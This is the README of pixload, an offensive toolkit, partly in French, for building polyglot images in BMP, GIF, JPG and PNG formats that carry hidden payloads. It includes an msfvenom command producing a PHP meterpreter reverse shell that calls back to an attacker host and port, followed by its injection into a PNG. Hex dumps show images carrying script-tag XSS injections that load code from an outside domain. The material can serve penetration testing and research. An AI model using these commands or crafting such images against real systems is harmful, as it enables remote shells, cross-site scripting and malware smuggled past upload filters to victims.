sighook/pixloadOutils de création/injection de payloads dans les images
Ensemble d'outils pour cacher des backdoors créer/injecter des charges utiles dans des images.
Les types d'image suivants sont actuellement pris en charge : BMP, GIF, JPG, PNG, WebP.
Références utiles pour mieux comprendre pixload et ses cas d'utilisation :
Groupe de hackers utilisant des images polyglottes pour cacher des attaques malvertising
Une XSS sur Facebook via des PNG et des types de contenu exotiques
Si vous souhaitez encoder une charge utile de telle sorte que le blob binaire résultant soit à la fois un shellcode x86 valide et un fichier image valide, je vous recommande de regarder ici et ici.
Si vous souhaitez injecter une charge utile metasploit, vous devez faire quelque chose comme ceci :
$ msfvenom -p php/meterpreter_reverse_tcp \
LHOST=192.168.0.1 LPORT=31337 -f raw 2>/dev/null > payload.php
Modifiez payload.php si nécessaire.
Injectez payload.php dans l'image (par ex. png).
$ pixload-png --payload "$(cat payload.php)" payload.png
Les modules Perl suivants sont requis :
GD
Image::ExifTool
String::CRC32
Sur les systèmes basés sur Debian, installez ces paquets :
sudo apt install libgd-perl libimage-exiftool-perl libstring-crc32-perl
Sur FreeBSD et DragonFlyBSD, installez ces paquets :
doas pkg install p5-GD p5-Image-ExifTool p5-String-CRC32
Sur OSX, veuillez vous référer à cette solution de contournement
(merci à @iosdec).
make install
docker build -t pixload .
docker run -v "$(pwd):/pixload" -it --rm pixload
$ pixload-bmp --help
Usage: pixload-bmp [OPTION]... FILE
Hide Payload/Malicious Code in BMP Images.
Mandatory arguments to long options are mandatory for short options too.
-P, --payload STRING set payload for injection
-v, --version print version and exit
-h, --help print help and exit
If the output FILE already exists, then payload will be injected into this
existing file. Otherwise, the new one will be created.
$ pixload-bmp payload.bmp
...... BMP Payload Creator/Injector ......
..........................................
... https://github.com/sighook/pixload ...
..........................................
[>] Generating output file
[✔] File saved to: payload.bmp
[>] Injecting payload into payload.bmp
[✔] Payload was injected successfully
payload.bmp: PC bitmap, OS/2 1.x format, 1 x 1 x 24, cbSize 10799, bits offset 26
00000000 42 4d 2f 2a 00 00 00 00 00 00 1a 00 00 00 0c 00 |BM/*............|
00000010 00 00 01 00 01 00 01 00 18 00 00 00 ff 00 2a 2f |..............*/|
00000020 3d 31 3b 3c 73 63 72 69 70 74 20 73 72 63 3d 2f |=1;<script src=/|
00000030 2f 65 78 61 6d 70 6c 65 2e 63 6f 6d 3e 3c 2f 73 |/example.com></s|
00000040 63 72 69 70 74 3e 3b |cript>;|
00000047
Voir la page de manuel pixload-bmp(1) pour plus d'informations.
$ pixload-gif --help
Usage: pixload-gif [OPTION]... FILE
Hide payload/malicious code in GIF images.
Mandatory arguments to long options are mandatory for short options too.
-W, --pixelwidth INTEGER (has no effect)
set pixel width for the new image (default: 10799)
-H, --pixelheight INTEGER set pixel height for the new image (default: 32)
-P, --payload STRING set payload for injection
-v, --version print version and exit
-h, --help print help and exit
The option -W, --pixelwidth has no effect since pixload-gif rewrites
pixel width bytes with "/*" characters, to prepare the polyglot gif image.
If the output FILE already exists, then the payload will be injected into this
existing file. Otherwise, the new one will be created with specified pixels
wide.
$ pixload-gif payload.gif
...... GIF Payload Creator/Injector ......
..........................................
... https://github.com/sighook/pixload ...
..........................................
[>] Generating output file
[✔] File saved to: payload.gif
[>] Injecting payload into payload.gif
[✔] Payload was injected successfully
payload.gif: GIF image data, version 87a, 10799 x 32
00000000 47 49 46 38 37 61 2f 2a 20 00 80 00 00 04 02 04 |GIF87a/* .......|
00000010 00 00 00 2c 00 00 00 00 20 00 20 00 00 02 1e 84 |...,.... . .....|
00000020 8f a9 cb ed 0f a3 9c b4 da 8b b3 de bc fb 0f 86 |................|
00000030 e2 48 96 e6 89 a6 ea ca b6 ee 0b 9b 05 00 3b 2a |.H............;*|
00000040 2f 3d 31 3b 3c 73 63 72 69 70 74 20 73 72 63 3d |/=1;<script src=|
00000050 2f 2f 65 78 61 6d 70 6c 65 2e 63 6f 6d 3e 3c 2f |//example.com></|
00000060 73 63 72 69 70 74 3e 3b |script>;|
00000068
Voir la page de manuel pixload-gif(1) pour plus d'informations.
$ pixload-jpg --help
Usage: pixload-jpg [OPTION]... FILE
Hide Payload/Malicious Code in JPEG images.
Mandatory arguments to long options are mandatory for short options too.
-S, --section COM|DQT set section for payload injection
-P, --payload STRING set payload for injection
-v, --version print version and exit
-h, --help print help and exit
If the output FILE already exists, then payload will be injected into this
existing file. Otherwise, the new one will be created.
$ pixload-jpg -S com payload.jpg
..... JPEG Payload Creator/Injector ......
..........................................
... https://github.com/sighook/pixload ...
..........................................
[>] Generating output file
[✔] File saved to: payload.jpg
[>] Injecting payload into COMMENT
[✔] Payload was injected successfully
payload.jpg: JPEG image data, progressive, precision 8, 1x1, components 1
00000000 ff d8 ff fe 00 25 3c 73 63 72 69 70 74 20 73 72 |.....%<script sr|
00000010 63 3d 2f 2f 65 78 61 6d 70 6c 65 2e 63 6f 6d 3e |c=//example.com>|
00000020 3c 2f 73 63 72 69 70 74 3e ff db 00 43 00 01 01 |</script>...C...|
00000030 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 |................|
*
00000060 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ff c2 |................|
00000070 00 0b 08 00 01 00 01 01 01 11 00 ff c4 00 14 00 |................|
00000080 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000090 03 ff da 00 08 01 01 00 00 00 01 3f ff d9 |...........?..|
0000009e
$ pixload-jpg -S dqt payload.jpg